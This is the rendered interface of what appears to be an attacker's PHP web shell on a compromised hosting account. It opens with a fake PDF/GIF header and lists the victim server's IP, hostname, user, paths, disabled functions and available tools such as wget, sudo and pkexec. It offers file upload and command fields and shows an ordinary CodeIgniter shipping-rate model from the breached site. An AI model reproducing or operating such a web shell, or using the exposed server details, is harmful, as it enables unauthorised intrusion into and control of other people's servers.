%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.242
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/public_html/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/public_html/application/models/shipping_model.php
<?php

Class Shipping_model extends Cart_model
{
	function __construct()
	{
		Cart_model::__construct();	
	}
	
	function get_flatrate()
	{
		return 10.00;
	}
	
	function get_tablerate()
	{
		
		//$method either equals weight or price
		$method	= 'price';
		$table	= array(
		 '80'	=> '85.00'
		,'70'	=> '65.00'
		,'60'	=> '55.00'
		,'50'	=> '55.00'
		,'40'	=> '45.00'
		,'30'	=> '35.00'
		,'20'	=> '25.00'
		,'10'	=> '15.00'
		,'0'	=> '5.00'
		);
		
		
		if ($method == 'weight')
		{
			$order_weight	= $this->get_order_weight();
			$shipping_price	= '';
			foreach ($table as $weight => $rate)
			{
				$shipping_price = $rate;
				if($weight <= $order_weight)
				{
					break;
				}
			}
			echo $order_weight;
			return $shipping_price;
		}
		elseif ($method == 'price')
		{
			$order_price = $this->get_order_price();
			$shipping_price	= '';
			foreach ($table as $price => $rate)
			{
				$shipping_price = $rate;
				if($price <= $order_price)
				{
					break;
				}
			}
			return $shipping_price;
		}
	}
}
?>

Anon7 - 2022
SCDN GOK